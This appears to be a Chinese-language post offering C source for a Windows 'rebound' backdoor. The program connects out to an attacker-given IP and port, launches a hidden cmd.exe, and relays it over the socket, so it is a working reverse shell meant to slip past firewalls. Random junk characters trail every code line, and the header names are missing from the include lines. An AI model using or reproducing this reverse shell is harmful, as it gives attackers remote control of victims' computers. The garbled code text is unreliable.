这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 S=lCzL;j"
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/* ============================== Z,/^lg c,
Rebound port in Windows NT ^#C+l
By wind,2006/7 pUS: HJk|
===============================*/ uF1 4;
#include lZ)6d-vK
#include 6"Lyv
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#pragma comment(lib,"wsock32.lib") bcjh3WP
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void OutputShell(); pdER#7Tq
SOCKET sClient; Fx}v.A5
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; i7PS=]TK\
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void main(int argc,char **argv) -:pVDxO
{ G_5{5Ar
WSADATA stWsaData; Y0kcxpK/
int nRet; }!k?.(hpE
SOCKADDR_IN stSaiClient,stSaiServer; 9H;Os:"\|
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if(argc != 3) gK;dfrU.8Y
{ qoH:_o8ClO
printf("Useage:\n\rRebound DestIP DestPort\n"); R+0gn/a[ G
return; G7|d$!%
} rp
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WSAStartup(MAKEWORD(2,2),&stWsaData); 2;*G!rE&*`
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); H.]V-|U
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stSaiClient.sin_family = AF_INET; 6Iv};f"Y
stSaiClient.sin_port = htons(0); c^'bf_~-W
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); xu"-Uj1
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) T+~&jC:{
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printf("Bind Socket Failed!\n"); E#Ue9J
return; fKFD>u0%
} 5wh(Qdib
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stSaiServer.sin_family = AF_INET; 4clCZ@\K^
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); f%t
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ZVJ6 {DS/
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) @oj_E0i3
{ *P7n YjG
printf("Connect Error!"); ~2XGw9`J2
return; :.l\lj0Yf
} Lw^%<.DM+t
OutputShell(); -{JReplc
} RT'5i$q[
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void OutputShell() s2QgR37s>
{ Ekrpg^3qp"
char szBuff[1024]; w""u]b%:r
SECURITY_ATTRIBUTES stSecurityAttributes; rO#$SW$YW
OSVERSIONINFO stOsversionInfo; ho~WD'i
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; oz:J.<j24Z
STARTUPINFO stStartupInfo; d/*EuJYin<
char *szShell; F$JA
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PROCESS_INFORMATION stProcessInformation; 0{o 8-#
unsigned long lBytesRead; #3?"#),q
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); b+ZaZ\-y
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); P??pWzb6HH
stSecurityAttributes.lpSecurityDescriptor = 0; ^dxy%*Z/
stSecurityAttributes.bInheritHandle = TRUE; .1J`>T?=Q
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); jl]p e7-
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ^H<VH
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); :t+LuH g
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5/m*Lc+r
stStartupInfo.wShowWindow = SW_HIDE; I]m&h!
stStartupInfo.hStdInput = hReadPipe; 5=8_Le
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; p<@+0Uw2
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GetVersionEx(&stOsversionInfo); \4*i;a.kU
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switch(stOsversionInfo.dwPlatformId) 9@Z++J.^y
{ 4HXNu, T'
case 1: c1f`?i}.
szShell = "command.com"; ^'sOWIzeiY
break; | 8n,|%e
default: wYHyVY2tj2
szShell = "cmd.exe"; xxdxRy9/
break; Xd~li fF
} _&@cU<bdee
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ju"j?2+F
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send(sClient,szMsg,77,0); *K=me/
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while(1) P'Jb')m
{ O}Do4>02
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); jin?;v
if(lBytesRead) dFpP_U
{ lCK:5$
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); rk?G[C)2c
send(sClient,szBuff,lBytesRead,0); WOGMtT%
} w{ x=e
else b@[5xv\J
{ @L^30>?l
lBytesRead=recv(sClient,szBuff,1024,0); eJ$ {`&J
if(lBytesRead<=0) break; TUd=qnu
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); fbW#6:Y
} ?DJ,YY9P
} }*0*8~Q'5
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return; _$4vk
}